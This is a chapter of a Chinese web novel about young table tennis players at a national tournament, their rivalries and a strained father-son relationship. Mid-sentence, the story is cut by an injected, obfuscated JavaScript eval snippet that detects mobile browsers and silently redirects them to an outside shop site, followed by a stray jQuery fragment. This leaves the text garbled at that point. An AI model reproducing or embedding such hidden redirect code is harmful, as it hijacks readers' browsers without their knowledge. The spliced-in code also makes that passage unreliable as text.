首轮最快结束的是楚归镝,最慢结束的是池野,因为他在和削球手对局。
两个削球手对削是折磨裁判和观众,一个削球手那是在纯折磨对手。
池野不巧,正是那个首轮惨遭折磨的倒霉蛋。
不能说池野打不过,也不能板上钉钉地说一定能打过。
被削球手四两拨千斤,有一拳打在棉花上有劲没处使的痛苦。
还一板子都不能松懈,稍微有一秒钟的晃神,都会被对面那个看似慢悠悠削汤圆的家伙瞬间反扑。
打得池野龇牙咧嘴。
唯一庆幸的是大家都是名不见经传的小运动员,要是碰上这样的是个热门球员,再迎上对方球迷山呼海啸一般的加油声,池野真有点顶不住。
短暂的局间暂停,教练翻来覆去地叫池野一定要坚定,池野咕嘟嘟僵硬地喝着水,看着还在,其实人走了有一会儿了。
“池野,加油!池野,加油!池野,加油!——”
暂停的最后几秒,池野后上方的看台传来了细弱但是声嘶力竭的加油声。
因为一个女孩子的声音被这么大这么多人的场馆冲散,方盈嗓音本身就偏细,传到池野耳朵里更单薄了。
池野循声望去。
嘴上说着不来的人,坚守在那儿,好执着坚定。
暂停结束,池野抓着拍子一往无前地上了,不是喜欢削吗,他把浑身最后的力气都榨出来,拼了命了也要把对方冲烂,叫他削削削。
有惊无险地晋级。
池野打完还想着上去跟方盈聊聊天呢,被教练拖走,开下午比赛的会。
他比赛打得太久了,其他结束得早的省队还可以早点大巴车上集结,回酒店好好坐下来吃饭午休,四川队时间来不及,在大巴车上开会塞盒饭,能回去午睡一小会儿已经不错了。
好在,四川队全员晋级,万博文心情不错,说了一堆鼓励士气的话。
现在的小孩子们比较现实,觉得埋头干饭要紧,少喝心灵鸡汤,忽略掉很多车轱辘话。
凌舒过来看了眼情况,问候道:“万总教练,这家盒饭还可以吧?要是不习惯,我再看看有没有更好的。”
万博文忙说不用麻烦。凌舒扫了眼车厢,池野腮帮子鼓鼓地跟她挥手,楚归镝淡淡的没有跟她对视,看不出来心情状况。
凌舒想着,楚归镝的事还是得厚脸皮麻烦一下华风夏同学了,告别去巡视其他地方的状况。
“你跟阿舒姐姐在冷战吗?”池野属于狗肚子藏不住二两油,憋不了一点话。
“没有啊,怎么会。”
他只不过是在放所有被他拖累的人自由。
楚归镝拍了一下被他吃得空空如也的饭盒,想分享给华风夏,并提醒她也好好吃饭,率先收到来自她的光盘照片。
外加端着空餐盘的少女恣意的笑。
【志愿者盒饭好吃!我也算服务你们啦,不算白蹭饭。】
【多吃一点。】
大巴车行驶得平稳,楚归镝没拉车帘,入秋的阳光并不具有侵略性,大巴从阴影处驶向宽阔明亮的道路,仿佛带着楚归镝走向另一个世界。
他还年轻,人生刚刚开了个头,虽然已是波澜重重,但仍具有无限的可能性。
他尽量把原本的人生还给那些人了,不算是顶顶坏的小孩,上天能不能怜悯,再给他新的光明。
楚归镝吸了吸鼻子,郑重其事地在女孩子怕胖不肯多吃的话后面回:
【吃饱了好给我加油。】
哪怕能抓住一分钟,也先握紧吧。
后一轮男女单、男女双、混双的签表出来了,对手并不强劲。
楚归镝挺遗憾没有很快和卫光、荀白羽碰面,男单碰不到就算了,男双、混双都没遇到,他已迫不及待和他们正面交手,难掩失望之色。
池野和赵雯琪一人一边摇着他的胳膊咆哮:“你想碰到他们,但我们不想啊!最好八强前都碰不到!!!”
头两天的比赛按部就班,可能是签运好,三人都没有和实力断层的选手狭路相逢,中间有些波折,镇定自若地化解了过去。
华风夏跟着楚归镝的台子跑。
即便是最近的观众席和球台也有一定的距离,但楚归镝知道她在那里,尽量每一局都给观众席一点回应。
有个人,小小的,在潮水般的人群中毫不起眼。
却为他而来。只为他而来。
川队和凌舒都在场边架了设备全程记录楚归镝的对局,还有各家媒体派来的记者在场内随时抓拍,并不缺少各式各样的照片流传。
华风夏带了相机,很少在局间拍摄,最美好的瞬间她选择用眼睛和心灵记录,几十年一百年也不要忘记,最重要的是,当下的心情不要褪色,那是一生只有一次的专属于青春的色彩。
也许有一天,她对乒乓球的热情消灭,疲于做一个凡人为每一天的生活奔波,再也想不起来去抽出时间看一场比赛。
即便是那样,也会记得,在单薄又青葱的16岁,遇见过一个最好的运动员,见证过他龙腾九天前的飞跃。
这已经是年少时最美好的事了。
混双这一轮的胜利能拿下来并不容易,对面是经验丰富的老将,赵雯琪到了这个年纪极其渴望能有一块全国赛事金牌,顶着对面的威压,一有失误,自责愧疚一齐冲击她的内心。
楚归镝一点儿不上脸,不给搭档摆脸色看,每次与赵雯琪对望都给过去坚定的眼神与鼓励,打好下面的每一颗球。
比自己还小的弟弟这么能扛住事,队里的大姐姐也不能丢脸,赵雯琪硬赶鸭子上架坚持到赢下比赛。
最后一个球落地,和对手握完手,抱着楚归镝就哭了,放声大哭,差点折戟在前几轮的后怕,承载着梦想的艰辛,在此刻释放。
看得华风夏跟着心疼。
竞技体育尤其是乒乓球的残酷性就在于此。中国的各个领域都不缺天才,万中挑一,还能筛出来一大片。
每个人都得踩碎别人的梦想网上攀登,谁不是从小豆丁一点大的孩子开始练球,又要在大好的青春年华,被锤炼、折磨,大概率迎来一地狼藉。
大多数人被拦在国家队之外,要么在省队中打打省赛原地徘徊,要么像刮骨剥皮一般与长久以来的坚守分离,转行,放下,蹒跚学步似的从零开始走一段新的人生。
楚归镝绅士地安慰了几句,手捏成半空的拳头在赵雯琪后背上拍了几下,引导赵雯琪释放过后继续沟通后一轮的技战术,照顾起比自己大的队员,毫不含糊,轻车熟路。
华风夏想,楚归镝哪天做了父亲,那他的小孩应该是全天下最幸福的小朋友吧,有个情绪稳定长得帅有责任感还有爱心的父亲。
思想歪到了这方面去了,华风夏羞耻地轻拍脸颊,没看比赛还好,看了比赛她彻底被楚归镝圈死,拿放大镜看都找不出他的缺点。
方盈说,华风夏你完蛋啦。
她也没有那么沉迷楚归镝嘛,这只是她的策略!
周末两天转瞬即逝,华风夏意犹未尽,比赛正在进行,她不得不尽快回归到正常的校园生活和高强度的学习节奏中去。
也答应了父母,看了比赛后会更认真地学习,不能食言。
“你比赛的结果,一定要第一时间告诉我啊!”华风夏对楚归镝千叮咛万嘱咐。
“我把手机和球拍包放一块儿,每场一打完就跟你说行不行?”
华风夏非常满意,摒弃杂念,开辟了属于她的战场,全身心投入和她最不擅长的函数做斗争。
到晚上晚自习结束才看手机。她害怕课间看到了楚归镝的消息,会分心听不下去课。
楚归镝10:00发来:【赢了。】说的是男单。
15:00,楚归镝:【赢了。】男双晋级。
19:00,楚归镝:【赢了。】混双没有意外。
一天三战,未尝败绩。
华风夏像是被喜悦托到了云端上走,高兴得走路都在飘,翻来覆去地看他那简短的话语。
社交媒体也为这小将出彩的表现沸腾,迅速有了一群新球迷,在线上线下为他摇旗呐喊。
走到家楼下,华风夏是开心的,又忽然迸发出了眼泪,哭得上气不接下气,捂着嘴蹲在绿化带边上发泄。
除了楚归镝意气风发的模样,她还见过楚归镝其他的样子。
看过他形单影只,孤零零地在教室的拐角一个人坐,因为非要与什么互动才显得没有那么可怜,他的目光追逐着天边的云彩;看过他在众人的言论涉及父亲和家庭时的怅惘;看过他一手厨艺也是出神入化,脑补到一个矮矮的小朋友,怀着被抛弃的惊惧,努力懂事,努力照顾家人和自己……
就连一手球技,也不是凭空得到老天爷的垂青,在被看到之前,年少的紫微星千锤万炼,于寂静中日复一日地开花。
真好啊,有那么多的人认识了楚归镝,有那么多的人开始喜欢他。
就算此处得到的不能看作填满了彼处的缺憾,也算是他人生的道路开始鲜花遍野。
再后一轮男单,卫光伤病复发,打得比较艰难。楚归镝如愿以偿和荀白羽抽到了一块。
楚玠心情复杂,儿子和徒弟碰到的太早了,在八强前就碰到,手心手背都是肉,无论是哪一个折戟他都不好受。为了避嫌,没有做荀白羽的场外,找了个视线极佳的观众席位,登高望远。
有含金量的青年赛,荀白羽只差青奥会冠军,其他皆已拿满。在国家队虽还未踏足主力之列,但早已被视为储备力量进行培养,国家队的教练们各有各的传奇,训练资源无疑能吊打四川省队几个来回。
而且……荀白羽还是由楚玠一手培养。
楚归镝表现得别别扭扭,似乎不跟楚玠在一起生活没什么感情,凌舒知他最是重情重义,他得到的东西本就不多,却被分来分去。
凌舒推了别的事务,挡板外按照规则只有每队限一人的场外指导可以坐,那她就当一名寻常的调试录影设备的小工站边上。已经不用跟楚归镝说加油了,他自会全力以赴。
凌舒开赛前低声跟他讲:“我觉得,还是你占优势,你在心态上首先要相信你肯定比他强,他再厉害只不过也就大赛经验比你多、细节处理比你到位一点。他是楚玠老师带出来的,楚玠老师的风格你还不清楚吗,你照准了打就是了,当年狗哥可是把楚玠老师打得嗷嗷的,师资力量其实你胜。你年轻劲大你二胜。这么算算稳赢。”
全世界除了亲妈沈白珠,也就凌舒这么溺爱他。
楚归镝哭笑不得,勾唇揶揄:“你不是也赞助了荀白羽的队伍,昨天我还看到荀白羽跟在你身后姐姐长姐姐短,你就是这么算计他的么?”
“球台两边我只站谁还用说啊。”凌舒嗔怪地拍了一下他的肩膀,不用裁判提醒,时间到了老实巴交地退到了摄影机后边。
他跟荀白羽的对决是如此,哪天碰到了卫光亦是。
但若和薛怀跃站在球台两端,她的选择又将是什么?
楚归镝不容自己细想,要想有机会和终极大BOSS式的薛怀跃对决,必须把现在看到的所有对手一一战于马下——这些人个个都被薛怀跃打败了无数次,打到心服口服,小怪们刷不掉他也没脸见大BOSS了。
正式开打前荀白羽还对楚归镝友好地笑了下:
“弟弟加油。”
楚归镝保持微笑,无话可说。
心里还是同样的吐槽——“谁是你弟弟啊!不要因为老登把你当儿子看就以我哥自居!”
老登这么喜欢认儿子,小心老了被卖保健品的诈骗到倾家荡产老无所依。
荀白羽是个人品上没有问题的好男孩,可惜匹夫无罪怀璧其罪,楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149604|149840||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
归镝实在做不到和他交心,只能说他们差了点做好朋友的缘分。
荀白羽人是温和内敛的性子,球也是,一开始收着打试探着楚归镝的路数。
楚归镝向来不按照常理出牌,他的目的就是赢,就是干干净净地拿下比赛的胜利,哪有心情和他你来我往地摆短回短试探,找到机会起手一顿狂攻。
年纪轻轻,打得球意外得带了杀伐王霸之气,荀白羽理智上知道要及时调整变线,不能被他的节奏带着走,本能慌乱了一下,被楚归镝找到了破绽势如破竹。
凌舒感叹道:“攻得也太凶残了。”脸上明晃晃地写着自豪。
高处的楚玠拍了下大腿,半是为儿子骄傲,半是心疼徒弟。
荀白羽哪儿都好,起点高悟性强,性格温温软软的,不知道是不是因为人本身缺一点冲和莽,打球也少了必胜的决心和不破楼兰终不还的奋勇。
他们碰上的签表出来后,凌舒就找了楚归镝分析荀白羽。
分析的不是球,是把荀白羽这个人分析透了。
就说古往今来的王侯将相,能够青史留名的,哪个不是在关键节点能豁出去,破釜沉舟,坚定必胜的?
荀白羽是谦谦君子,没有要和别人你死我活的心思和意识,吃亏也吃在这点上,只要楚归镝敢放开了打,玩狠的,荀白羽必招架不住。能不能赢就看楚归镝能狠到哪一步。
现在荀白羽直觉得楚归镝是从哪个屠宰场下岗再就业的屠夫……好像要杀人……
气口一松,心神一晃,声势和比分上都落了下程。
有种人天生就是为大赛而生的。
大赛的刺激场面能把身体里面的潜能点一一点燃。
所谓“爆种”,便是如此。
“爆种”具有临场性,实力提升具有突然性,因而凌舒不觉得楚归镝现在是在爆种,孩子的水平已经到了这个程度了。
隔了一段距离,她视力熬得没那么好,只见得身形如剑,来去如风,杀伐决断有刻在血脉里的相似共通,鼻尖顿时一酸。那人的性子,不在当场外,定也是寻了个地方观战的,可会为儿子的成长欣慰感怀?
带在身边悉心教导的徒弟没学去楚玠一身风骨,亲儿子遗传了十成十。
血缘这东西没法说。
目前场馆中还有其他比赛正在进行,其中就有大热门球员卫光。
卫光的球迷凝聚力极强,抓住比赛的间隙便整齐划一地喊口号给卫光打气,士气填满场馆,不用扭头,凌舒便能从欢呼中分辨卫光打得怎么样。
来日,楚归镝的球迷会浩浩荡荡地将场馆填满。
乒坛会迎来新的时代。
荀白羽输了。
也宣告着楚归镝进入了男单八强,按照规则有进入国家队的资格。
荀白羽脸色惨白惨白,手腕发麻使不上力气,不知道该怎么和楚玠交代。
最初的失误与轻敌有关,但之后始终被楚归镝摁着打,很不像话——他已经在国家队中训练了好几年了!
于高台观战的那人飞身下来。
楚归镝背着身擦汗,借机想要听着这对师徒的对话。
他记得,楚玠对人生气失望时,无论是动态发怒还是静态的,都令人胆寒。
他长这么大了,还偶尔做梦梦到打0:3那次,楚玠冷若冰霜一言不发掉头就走的背影。
“楚指导……我,我的问题,我一开始应对得不行,技战术调整又没接上,我,我回去反思,写检讨……”
要不是人多,就差哭出来了。
“傻孩子,这次我没给你当场外,是不是有点紧张?我在上面坐着呢,全程在看。胜败乃兵家常事是吧,别看得太紧张,越紧张,手头就越紧,发挥不出来。”
春风化雨。
最性急生猛那人,也能为了教导指引小辈,生生磨了身上锐刺。
手掌一下一下轻拍着荀白羽的后背,想是要将他阻塞在胸腔中的窒息都拍出来。
荀白羽仍是带着哭腔:“都是我不好……”
他的省队队友们见此情形,接二连三地越过挡板抱住他安慰鼓励。
真乃和谐有爱的大家庭。
凌舒知道,完了。
这头才安置好昂贵的摄影器材跑过去,那边已经见到楚归镝脸色铁青地甩开了毛巾,拎了球拍包,撇下他的省队教练、队医大步流星地往外走,路线也不是规划好的运动员退场休息的路线。
他等了许久都没有等到父亲的一句恭喜。
随便吧,反正没有特别需要。
“圆圆!你等我一下!”
根本叫不住心如死灰的少年。
楚归镝烦得想一个人静一静,听到凌舒的呼唤,反而带快了脚步,三下五除二越过人群,在一队志愿者路过阻挡了一下凌舒的视线后,身影彻底消失。
凌舒小心翼翼地避开场上各路人群和搬运器械的工人们,根据不甚清晰的印象顺着楚归镝大概的路线走,跟丢了,走到某个通道门口,还被个冒失的勤务人员撞了一下。
力道不重,却正好把她的腰眼撞到了栏杆把手上。
腰部关键穴位被硬物猛然穿凿。
疼得凌舒生理性地汪出了满眼的眼泪,失去除痛感以外的感官,捂住腰部,双膝一软,跪了下去。
没有接触到粗糙的水泥地。
在栽倒之前有一双结实的臂膀稳当地从后面把她捞在了怀里。
科学锻炼保养的肌肉,除了打比赛用,还盼着在这种时刻派上用场。
国手的手,为国争光,呵护心爱的人,缺一不可。
“很疼吗?伤到了哪里?要不要给你叫医生?”
永远稳如泰山的人居然也会有慌乱的时候。
凌舒想揶揄两句,这一下的疼痛太钻心了,她被物理闭麦,有气无力:“你怎么会在这里……”